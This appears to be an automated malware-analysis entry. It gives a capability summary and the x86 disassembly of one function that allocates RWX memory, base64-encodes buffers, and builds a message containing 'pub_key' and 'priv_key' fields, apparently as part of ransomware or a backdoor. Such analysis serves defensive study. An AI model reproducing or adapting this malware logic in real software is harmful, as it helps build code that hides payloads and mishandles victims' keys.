Function at 0x10005880
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c4
push ebx
push esi
push edi
push ecx
push 1
push ecx
push 1
sub esp, 0xc
mov dword [esp + 0x28], ecx
mov ebx, edx
mov dword [esp + 0x3c], ebx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
sub esp, 0xc
push 1
push ecx
push 1
lea ecx, [esp + 0x98]
call fcn.100039f0
lea ecx, [esp + 0x40]
call fcn.10007330
lea ecx, [esp + 0x40]
call fcn.10007140
mov esi, dword [ebp + 0xc]
mov edi, eax
add esi, ebx
push 0x40
push 0x3000
lea ebx, [esi + 8]
lea ebx, [edi + ebx*8]
shl ebx, 3
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
xor edx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
lea ecx, [edi + esi*4]
lea ecx, [ecx*8 + 0x30]
test eax, eax
je 0x10005921
cmp ecx, ebx
jae 0x10005921
lea edi, [ecx + eax]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edi
mov edx, ecx
jmp 0x10005927
mov dword [esp + 0x18], edx
mov edi, eax
cmp dword [esp + 0x2c], 0
mov eax, dword [ebp + 0xc]
lea eax, [eax*8 + 2]
je 0x1000594f
lea esi, [edx + eax]
cmp esi, ebx
jae 0x1000594f
mov ecx, edi
mov dword [esp + 0x28], edi
add edi, eax
mov edx, esi
mov dword [esp + 0x1c], edi
jmp 0x10005955
xor ecx, ecx
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x2c], 0
mov esi, dword [esp + 0x20]
je 0x1000596d
lea eax, [esi*8 + 2]
add eax, edx
cmp eax, ebx
jb 0x10005973
xor edi, edi
mov dword [esp + 0x1c], edi
test ecx, ecx
je 0x10005d44
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
lea eax, [edx + edx]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push ecx
push 0x40000001
push edx
push dword [ebp + 8]
call ebx
lea eax, [esi + esi]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x1c]
call ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
push edi
call ebx
push dword [esp + 0x28]
mov esi, eax
call ebx
push 0x40
add eax, 0x42
push 0x3000
add esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
call ebx
mov ecx, dword [esp + 0x20]
inc eax
test ecx, ecx
je 0x10005a0f
cmp eax, esi
jae 0x10005a0f
lea edx, [ecx + eax]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
jmp 0x10005a17
mov dword [esp + 0x14], 0
push edi
call ebx
inc eax
cmp dword [esp + 0x20], 0
je 0x10005a2a
add eax, dword [esp + 0xc]
cmp eax, esi
jb 0x10005a32
mov dword [esp + 0x10], 0
push dword [esp + 0x28]
xor esi, esi
call ebx
test eax, eax
je 0x10005a72
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
lea ebx, [ebx]
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005a62
cmp al, 0xd
je 0x10005a62
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005a50
mov edi, dword [esp + 0x1c]
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005aa1
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005a95
cmp al, 0xd
je 0x10005a95
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005a83
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatW]
push str.actioncall
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push edi
call esi
lea ecx, [esp + 0x40]
lea edi, [edi + eax*2]
push edi
call fcn.10006f40
push str.pub_key
push edi
call ebx
push edi
call esi
push dword [esp + 0x14]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x20]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.priv_key
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push dword [esp + 0x10]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x1c]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push str.version2.3r
push edi
call ebx
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
call edi
mov esi, eax
push 0x40
shl esi, 4
push 0x3000
add esi, 0x12
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push dword [esp + 0x18]
mov ebx, eax
mov dword [esp + 0x20], ebx
call edi
lea eax, [eax*8 + 2]
test ebx, ebx
je 0x10005b74
cmp eax, esi
jae 0x10005b74
mov dword [esp + 0xc], ebx
jmp 0x10005b7a
xor eax, eax
mov dword [esp + 0xc], eax
push dword [esp + 0x18]
call edi
mov ecx, dword [0x1000fc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [esp + 0xd1]
mov dword [esp + 0x38], ecx
mov cx, word [0x1000fc84]
push 0xff
mov word [esp + 0x40], cx
mov cl, byte [0x1000fc86]
push 0
push eax
movq qword [esp + 0x3c], xmm0
mov byte [esp + 0x4a], cl
mov byte [esp + 0xdc], 0
call fcn.10009010
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x3c]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0xd4]
call fcn.10005d70
mov edx, dword [esp + 0x1c]
lea esi, [edi + edi]
add esp, 4
lea ecx, [esp + 0xd0]
push esi
call fcn.10005e20
add esp, 4
lea eax, [edi*8]
mov edi, dword [esp + 0xc]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x28]
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
test eax, eax
jne 0x10005c36
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
call ebx
push 0x40
push 0x3000
lea esi, [eax + 2]
push esi
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
mov dword [esp + 0x14], eax
call ebx
lea ecx, [eax + 1]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10005c66
mov dword [esp + 0x14], eax
cmp ecx, esi
jb 0x10005c6e
mov dword [esp + 0x14], 0
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005c9e
mov ecx, dword [esp + 0x14]
mov dword [esp + 0xc], ecx
nop
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005c92
cmp al, 0xd
je 0x10005c92
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005c80
mov esi, dword [esp + 0x14]
push esi
call ebx
push eax
push dword [esp + 0x1c]
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 1
lea edx, [esp + 0x10]
mov dword [esp + 0x10], 0
mov ecx, esi
call fcn.100054a0
add esp, 4
test eax, eax
jne 0x10005d07
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push eax
mov eax, dword [esp + 0x18]
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
xor esi, esi
jmp 0x10005d4f
mov ecx, dword [esp + 0xc]
test ecx, ecx
je 0x10005d14
mov eax, dword [ebp + 0x10]
mov dword [eax], ecx
mov eax, dword [esp + 0x10]
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push 0x8000
push 0
push eax
call ebx
push 0x8000
push 0
push dword [esp + 0x24]
call ebx
push 0x8000
push 0
push dword [esp + 0x28]
call ebx
jmp 0x10005d4a
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFree]
mov esi, 1
push 0x8000
push 0
push dword [esp + 0x34]
call ebx
lea ecx, [esp + 0x40]
call fcn.10007c10
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret